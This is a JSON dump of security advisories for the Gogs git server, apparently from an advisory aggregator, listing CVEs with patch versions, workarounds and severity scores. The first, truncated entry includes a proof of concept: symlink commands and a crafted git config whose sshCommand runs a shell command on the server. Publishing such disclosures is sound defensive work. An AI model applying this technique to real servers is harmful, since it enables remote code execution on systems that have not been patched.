```bash\n    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n    $ ls -la\n    total 8\n    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .\n    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..\n    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git\n    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md\n    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -\u003e /data/gogs/data/tmp/local-repo/1/.git/config\n    $ git add .\n    $ git commit -m 'ddd'\n    $ git push -f\n    ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n    ```\n    [core]\n    repositoryformatversion = 0\n    filemode = true\n    bare = false\n    logallrefupdates = true\n    ignorecase = true\n    precomposeunicode = true\n    sshCommand = echo pwnned \u003e /tmp/poc\n    [remote \"origin\"]\n    url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n    fetch = +refs/heads/*:refs/remotes/origin/*\n    [branch \"master\"]\n    remote = origin\n    merge = refs/heads/master\n    ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-12-23T17:53:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx","https://nvd.nist.gov/vuln/detail/CVE-2024-54148","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7857","https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a","https://github.com/advisories/GHSA-r7j8-5h9c-f6fx"],"source_kind":"github","identifiers":["GHSA-r7j8-5h9c-f6fx","CVE-2024-54148"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T18:08:11.917Z","updated_at":"2026-09-03T07:06:49.995Z","epss_percentage":0.00861,"epss_percentile":0.55531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2o4LTVoOWMtZjZmeM4ABCrM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN2o4LTVoOWMtZjZmeM4ABCrM","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c 0.13.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2o4LTVoOWMtZjZmeM4ABCrM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1waG00LXdmM2gtcGMzcs4ABBaC","url":"https://github.com/advisories/GHSA-phm4-wf3h-pc3r","title":"Remote Code Execution in Gogs","description":"Gogs \u003c0.13.2 is vulnerable to symbolic link path traversal that enables remote code execution via the editFilePost function of internal/route/repo/editor.go.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-15T18:30:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-44625","https://fysac.github.io/posts/2024/11/unpatched-remote-code-execution-in-gogs","https://pkg.go.dev/vuln/GO-2024-3275","https://gogs.io","https://github.com/advisories/GHSA-phm4-wf3h-pc3r"],"source_kind":"github","identifiers":["GHSA-phm4-wf3h-pc3r","CVE-2024-44625"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-11-15T22:07:20.770Z","updated_at":"2026-08-28T13:05:02.901Z","epss_percentage":0.15874,"epss_percentile":0.96636,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waG00LXdmM2gtcGMzcs4ABBaC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1waG00LXdmM2gtcGMzcs4ABBaC","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.2","vulnerable_version_range":"\u003c 0.13.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waG00LXdmM2gtcGMzcs4ABBaC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZnZoLXA4cXAtOXd3Oc4AAx3Y","url":"https://github.com/advisories/GHSA-pfvh-p8qp-9ww9","title":"Gogs OS Command Injection vulnerability","description":"### Impact\n\nThe malicious user is able to update a crafted `config` file into repository's `.git` directory in combination with crafted file deletion to gain SSH access to the server on case-insensitive file systems. All installations with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) on case-insensitive file systems (Windows, macOS, etc.) are affected.\n\n### Patches\n\nMake sanitization of upload path to `.git` directory to be case-insensitive. Users should upgrade to 0.12.11 or the latest 0.13.0+dev.\n\n### Workarounds\n\nDisable [repository upload](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129).\n\n### References\n\nhttps://huntr.dev/bounties/18cf9256-23ab-4098-a769-85f8da130f97/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7030.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-02-28T20:12:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-pfvh-p8qp-9ww9","https://nvd.nist.gov/vuln/detail/CVE-2022-2024","https://github.com/gogs/gogs/issues/7030","https://github.com/gogs/gogs/commit/15d0d6a94be0098a8227b6b95bdf2daed105ec41","https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129","https://huntr.dev/bounties/18cf9256-23ab-4098-a769-85f8da130f97","https://github.com/advisories/GHSA-pfvh-p8qp-9ww9"],"source_kind":"github","identifiers":["GHSA-pfvh-p8qp-9ww9","CVE-2022-2024"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2023-02-28T21:03:06.516Z","updated_at":"2026-08-15T20:18:22.465Z","epss_percentage":0.97839,"epss_percentile":0.99899,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnZoLXA4cXAtOXd3Oc4AAx3Y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZnZoLXA4cXAtOXd3Oc4AAx3Y","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.11","vulnerable_version_range":"\u003c 0.12.11"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnZoLXA4cXAtOXd3Oc4AAx3Y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tY2pqLTJmdnEtbWMzcs4AAvPZ","url":"https://github.com/advisories/GHSA-mcjj-2fvq-mc3r","title":"Gogs vulnerable to Cross-site Scripting","description":"In Gogs, versions v0.6.5 through v0.12.10 are vulnerable to Stored Cross-Site Scripting (XSS) that leads to an account takeover.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-10-11T19:00:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-32174","https://github.com/gogs/gogs/blob/v0.12.10/public/js/gogs.js#L263","https://www.mend.io/vulnerability-database/CVE-2022-32174","https://pkg.go.dev/vuln/GO-2022-1060","https://github.com/advisories/GHSA-mcjj-2fvq-mc3r"],"source_kind":"github","identifiers":["GHSA-mcjj-2fvq-mc3r","CVE-2022-32174"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:11:55.592Z","updated_at":"2026-08-15T20:19:17.776Z","epss_percentage":0.58021,"epss_percentile":0.9897,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tY2pqLTJmdnEtbWMzcs4AAvPZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tY2pqLTJmdnEtbWMzcs4AAvPZ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.6.5, \u003c= 0.12.10"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tY2pqLTJmdnEtbWMzcs4AAvPZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dmNjLXY5dnctZzJ4Nc4AArcr","url":"https://github.com/advisories/GHSA-6vcc-v9vw-g2x5","title":"Path Traversal in Git HTTP endpoints in Gogs","description":"### Impact\n\nThe malicious user is able to craft HTTP requests to access unauthorized Git directories. All installations with are affected.\n\n### Patches\n\nPath cleaning has accommodated for Git HTTP endpoints. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.\n\n### Workarounds\n\nN/A\n\n### References\n\nhttps://huntr.dev/bounties/22f9c074-cf60-4c67-b5c4-72fdf312609d/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #7002.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-06-08T22:34:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-6vcc-v9vw-g2x5","https://github.com/gogs/gogs/issues/7002","https://github.com/gogs/gogs/commit/9bf748b6c4c9a17d3aa77f6b9abcfae65451febf","https://huntr.dev/bounties/22f9c074-cf60-4c67-b5c4-72fdf312609d/","https://nvd.nist.gov/vuln/detail/CVE-2022-1993","https://huntr.dev/bounties/22f9c074-cf60-4c67-b5c4-72fdf312609d","https://github.com/advisories/GHSA-6vcc-v9vw-g2x5"],"source_kind":"github","identifiers":["GHSA-6vcc-v9vw-g2x5","CVE-2022-1993"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:20.595Z","updated_at":"2026-09-03T07:14:12.292Z","epss_percentage":0.36256,"epss_percentile":0.98359,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmNjLXY5dnctZzJ4Nc4AArcr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dmNjLXY5dnctZzJ4Nc4AArcr","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.9","vulnerable_version_range":"\u003c 0.12.9"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmNjLXY5dnctZzJ4Nc4AArcr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02N214LWpjMmYtamdqbc4AArcq","url":"https://github.com/advisories/GHSA-67mx-jc2f-jgjm","title":"OS Command Injection in file editor in Gogs","description":"### Impact\n\nThe malicious user is able to update a crafted `config` file into repository's `.git` directory in combination with crafted file deletion to gain SSH access to the server. All installations with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) are affected.\n\n### Patches\n\nFile deletions are prohibited to repository's `.git` directory. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.\n\n### Workarounds\n\nN/A\n\n### References\n\nhttps://huntr.dev/bounties/776e8f29-ff5e-4501-bb9f-0bd335007930/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #7000.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-06-08T22:34:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-67mx-jc2f-jgjm","https://github.com/gogs/gogs/commit/38aff73251cc46ced96dd608dab6190415032a82","https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129","https://huntr.dev/bounties/776e8f29-ff5e-4501-bb9f-0bd335007930/","https://nvd.nist.gov/vuln/detail/CVE-2022-1986","https://huntr.dev/bounties/776e8f29-ff5e-4501-bb9f-0bd335007930","https://github.com/advisories/GHSA-67mx-jc2f-jgjm"],"source_kind":"github","identifiers":["GHSA-67mx-jc2f-jgjm","CVE-2022-1986"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:20.604Z","updated_at":"2026-09-03T07:14:12.293Z","epss_percentage":0.04486,"epss_percentile":0.90755,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N214LWpjMmYtamdqbc4AArcq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02N214LWpjMmYtamdqbc4AArcq","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.9","vulnerable_version_range":"\u003c 0.12.9"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N214LWpjMmYtamdqbc4AArcq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cTR2LXZycDktdmNmMs4AArco","url":"https://github.com/advisories/GHSA-xq4v-vrp9-vcf2","title":"Cross-site Scripting vulnerability in repository issue list in Gogs","description":"### Impact\n`DisplayName` allows all the characters from users, which leads to an XSS vulnerability when directly displayed in the issue list.\n\n### Patches\n`DisplayName` is sanitized before being displayed. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.\n\n### Workarounds\nCheck and update the existing users' display names that contain malicious characters.\n\n### References\nN/A\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/pull/7009.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-06-08T22:24:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-xq4v-vrp9-vcf2","https://github.com/gogs/gogs/pull/7009","https://github.com/gogs/gogs/releases/tag/v0.12.9","https://nvd.nist.gov/vuln/detail/CVE-2022-31038","https://github.com/gogs/gogs/commit/155cae1de8916fc3fde78f350763034b7422caee","https://github.com/advisories/GHSA-xq4v-vrp9-vcf2"],"source_kind":"github","identifiers":["GHSA-xq4v-vrp9-vcf2","CVE-2022-31038"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:20.719Z","updated_at":"2026-09-03T07:14:13.723Z","epss_percentage":0.00709,"epss_percentile":0.50751,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cTR2LXZycDktdmNmMs4AArco","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cTR2LXZycDktdmNmMs4AArco","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.9","vulnerable_version_range":"\u003c 0.12.9"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cTR2LXZycDktdmNmMs4AArco/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OTRmLTdnODYtcXI1Ns4AArcn","url":"https://github.com/advisories/GHSA-994f-7g86-qr56","title":"Path Traversal in file editor on Windows in Gogs","description":"### Impact\n\nThe malicious user is able to delete and upload arbitrary file(s). All installations on Windows with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) are affected.\n\n### Patches\n\nPath cleaning has accommodated for Windows. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.\n\n### Workarounds\n\nN/A\n\n### References\n\nhttps://huntr.dev/bounties/2e8cdc57-a9cf-46ae-9088-87f09e6c90ab/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #7001.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-06-08T20:15:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-994f-7g86-qr56","https://github.com/gogs/gogs/commit/2ca014250fbf0bba94c914d9e43b1f6d8eca3bb0","https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129","https://huntr.dev/bounties/2e8cdc57-a9cf-46ae-9088-87f09e6c90ab/","https://nvd.nist.gov/vuln/detail/CVE-2022-1992","https://huntr.dev/bounties/2e8cdc57-a9cf-46ae-9088-87f09e6c90ab","https://github.com/advisories/GHSA-994f-7g86-qr56"],"source_kind":"github","identifiers":["GHSA-994f-7g86-qr56","CVE-2022-1992"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:20.739Z","updated_at":"2026-09-03T07:14:13.724Z","epss_percentage":0.02271,"epss_percentile":0.81742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTRmLTdnODYtcXI1Ns4AArcn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTRmLTdnODYtcXI1Ns4AArcn","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.9","vulnerable_version_range":"\u003c 0.12.9"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTRmLTdnODYtcXI1Ns4AArcn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Njg5LTU1N20tMmN2cc4AArY4","url":"https://github.com/advisories/GHSA-w689-557m-2cvq","title":"Server-Side Request Forgery in gogs webhook","description":"### Impact\n\nThe malicious user is able to discover services in the internal network through webhook functionality. All installations accepting public traffic are affected.\n\n### Patches\n\nWebhook payload URLs are revalidated before each delivery to make sure they are not resolved to blocked local network addresses. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.\n\n### Workarounds\n\nRun Gogs in its own private network.\n\n### References\n\nhttps://huntr.dev/bounties/da1fbd6e-7a02-458e-9c2e-6d226c47046d/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6901.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-06-03T15:35:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-w689-557m-2cvq","https://nvd.nist.gov/vuln/detail/CVE-2022-1285","https://github.com/gogs/gogs/commit/7885f454a4946c4bbec1b4f8c603b5eea7429c7f","https://huntr.dev/bounties/da1fbd6e-7a02-458e-9c2e-6d226c47046d","https://github.com/advisories/GHSA-w689-557m-2cvq"],"source_kind":"github","identifiers":["GHSA-w689-557m-2cvq","CVE-2022-1285"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:21.363Z","updated_at":"2026-08-19T22:11:51.266Z","epss_percentage":0.01098,"epss_percentile":0.62883,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Njg5LTU1N20tMmN2cc4AArY4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Njg5LTU1N20tMmN2cc4AArY4","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.8","vulnerable_version_range":"\u003c 0.12.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Njg5LTU1N20tMmN2cc4AArY4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Nmo3LTJwbTgtcmdteM4AArT_","url":"https://github.com/advisories/GHSA-56j7-2pm8-rgmx","title":"OS Command Injection in gogs","description":"### Impact\n\nThe malicious user is able to update a crafted `config` file into repository's `.git` directory with to gain SSH access to the server. All installations with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) are affected.\n\n### Patches\n\nRepository file updates are prohibited to its `.git` directory. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.\n\n### Workarounds\n\nN/A\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #6555.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-06-02T20:52:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/gogs/gogs/security/advisories/GHSA-56j7-2pm8-rgmx","https://github.com/gogs/gogs/issues/6555","https://github.com/gogs/gogs/pull/6986","https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129","https://github.com/gogs/gogs/releases/tag/v0.12.8","https://nvd.nist.gov/vuln/detail/CVE-2021-32546","https://github.com/gogs/gogs/releases","https://github.com/advisories/GHSA-56j7-2pm8-rgmx"],"source_kind":"github","identifiers":["GHSA-56j7-2pm8-rgmx","CVE-2021-32546"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:21.425Z","updated_at":"2026-08-19T22:11:51.268Z","epss_percentage":0.02068,"epss_percentile":0.79788,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Nmo3LTJwbTgtcmdteM4AArT_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Nmo3LTJwbTgtcmdteM4AArT_","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.8","vulnerable_version_range":"\u003c 0.12.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Nmo3LTJwbTgtcmdteM4AArT_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NThqLTQ0M2ctN21tN84AArT-","url":"https://github.com/advisories/GHSA-958j-443g-7mm7","title":"OS Command Injection in gogs","description":"### Impact\n\nThe malicious user is able to upload a crafted `config` file into repository's `.git` directory with to gain SSH access to the server. All Windows installations with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) are affected.\n\n### Patches\n\nRepository file uploads are prohibited to its `.git` directory. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.\n\n### Workarounds\n\n[Disable repository files upload](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L128-L129).\n\n### References\n\nhttps://www.huntr.dev/bounties/9cd4e7b7-0979-4e5e-9a1c-388b58dea76b/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #6968.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-06-02T20:50:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-958j-443g-7mm7","https://github.com/gogs/gogs/issues/6968","https://github.com/gogs/gogs/pull/6970","https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129","https://github.com/gogs/gogs/releases/tag/v0.12.8","https://nvd.nist.gov/vuln/detail/CVE-2022-1884","https://huntr.com/bounties/9cd4e7b7-0979-4e5e-9a1c-388b58dea76b","https://www.huntr.dev/bounties/9cd4e7b7-0979-4e5e-9a1c-388b58dea76b","https://github.com/advisories/GHSA-958j-443g-7mm7"],"source_kind":"github","identifiers":["GHSA-958j-443g-7mm7","CVE-2022-1884"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:21.433Z","updated_at":"2026-09-03T07:14:13.743Z","epss_percentage":0.01841,"epss_percentile":0.7751,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NThqLTQ0M2ctN21tN84AArT-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NThqLTQ0M2ctN21tN84AArT-","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.8","vulnerable_version_range":"\u003c 0.12.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NThqLTQ0M2ctN21tN84AArT-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wajk2LTRqaHYtdjc5Ms4AArT9","url":"https://github.com/advisories/GHSA-pj96-4jhv-v792","title":"Cross site scripting via cookies in gogs","description":"### Impact\n\nThere is no known practical impact other than it is just possible to manipulate CSRF cookie and XSS the malicious user self.\n\n### Patches\n\nInvalid characters of CSRF tokens are stripped after reading cookie. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.\n\n### Workarounds\n\nNo need for workarounds.\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6953.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-06-02T20:46:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/gogs/gogs/security/advisories/GHSA-pj96-4jhv-v792","https://github.com/gogs/gogs/issues/6953","https://github.com/advisories/GHSA-pj96-4jhv-v792"],"source_kind":"github","identifiers":["GHSA-pj96-4jhv-v792"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:21.442Z","updated_at":"2026-08-15T20:20:18.076Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajk2LTRqaHYtdjc5Ms4AArT9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wajk2LTRqaHYtdjc5Ms4AArT9","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.8","vulnerable_version_range":"\u003c 0.12.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajk2LTRqaHYtdjc5Ms4AArT9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZjI4LWY0NmctcjlnOM4AAqwa","url":"https://github.com/advisories/GHSA-ff28-f46g-r9g8","title":"Cross-site Scripting in Gogs","description":"### Impact\n\nThe malicious user is able to upload a crafted SVG file as the issue attachment to archive XSS. All installations [allow uploading SVG (`text/xml`) files as issue attachments (non-default)](https://github.com/gogs/gogs/blob/e51e01683408e10b3dcd2ace65e259ca7f0fd61b/conf/app.ini#L283-L284) are affected.\n\n### Patches\n\nCorrectly setting the Content Security Policy for the serving endpoint. Users should upgrade to 0.12.7 or the latest 0.13.0+dev.\n\n### Workarounds\n\n[Disable uploading SVG files (`text/xml`) as issue attachments](https://github.com/gogs/gogs/blob/e51e01683408e10b3dcd2ace65e259ca7f0fd61b/conf/app.ini#L283-L284).\n\n### References\n\nhttps://huntr.dev/bounties/34a12146-3a5d-4efc-a0f8-7a3ae04b198d/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on 